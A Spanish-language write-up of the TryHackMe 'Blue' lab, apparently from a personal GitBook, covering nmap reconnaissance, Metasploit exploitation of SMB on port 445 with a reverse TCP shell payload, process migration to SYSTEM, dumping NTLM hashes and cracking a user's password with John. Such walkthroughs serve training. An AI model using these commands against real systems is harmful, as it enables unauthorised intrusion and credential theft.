> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/tryhackme/blue.md).

# Blue

✍️ Autor: DarkStar7471, ben🔍 Dificultad: Fácil

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.196.186
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8Me1foZ8fwoEPYgAB1WM%2Fimage.png?alt=media&amp;token=9d3b4943-a409-4f09-8d68-8e56c54f307b" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap 10.10.196.186
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhiIoLspnRtFd8FARi0E1%2Fimage.png?alt=media&amp;token=82ca8629-3b9f-42fc-87df-177c3a43a7b7" alt=""><figcaption></figcaption></figure>

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p135,139,445,3389 -v 10.10.196.186
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F192Asja6Q1Iw71EIxEsc%2Fimage.png?alt=media&amp;token=c87f9ed8-7351-4fda-9553-1e4724422f93" alt=""><figcaption></figcaption></figure>

Miramos si es vulnerable el puerto 445.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPma6K6mzVmh80GHKs3oe%2Fimage.png?alt=media&amp;token=50e5de1f-fd13-44a4-aa40-31366fe237c9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5iNBTwWoOWUCfHg1eOv9%2Fimage.png?alt=media&amp;token=e6fbc734-ff01-4cd6-8258-f95c769482fe" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FW6HOCKtdW2fRGgEOzroy%2Fimage.png?alt=media&amp;token=8df7580c-818c-407c-b233-a2260b153523" alt=""><figcaption></figcaption></figure>

```bash
set RHOSTS 10.10.196.186
set payload windows/x64/shell/reverse_tcp
run
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQv2bkhwimN9z85IkdGpJ%2Fimage.png?alt=media&amp;token=1daee2eb-cf01-4c19-a9b8-27ea45d06627" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Después de explotar la máquina y acceder con Meterpreter, verificamos los privilegios:

```
meterpreter > getsystem
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Confirmamos el proceso en el que estamos inyectados:

```
meterpreter > getpid
Current pid: 1312
```

Listamos todos los procesos para revisar:

```
meterpreter > ps
```

Estamos dentro de `spoolsv.exe`, un proceso estable y de confianza en sistemas Windows. Si se reinicia, automáticamente vuelve a cargar, manteniéndonos dentro.

Si comenzamos con una shell básica, podemos convertirla a Meterpreter:

```
post/multi/manage/shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
show options
set SESSION <ID>
run
```

Después de convertir, seleccionamos la nueva sesión Meterpreter con `sessions`. Aunque tengamos privilegios de SYSTEM, es recomendable migrar a un proceso estable que también corra como SYSTEM.

```
meterpreter > ps
3048  TrustedInstaller.exe  NT AUTHORITY\SYSTEM
migrate 3048
```

Podemos abrir un shell del sistema para confirmarlo:

```
meterpreter > shell
C:\Windows\System32> whoami
nt authority\system
exit
```

Con privilegios de SYSTEM, volcamos los hashes:

```
meterpreter > hashdump
Administrator:500:...:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:...:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:...:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

Copiamos la línea del usuario Jon y crackeamos.

```
echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > /tmp/jon_hash.txt
john /tmp/jon_hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
```

La contraseña del usuario Jon es alqfna22.
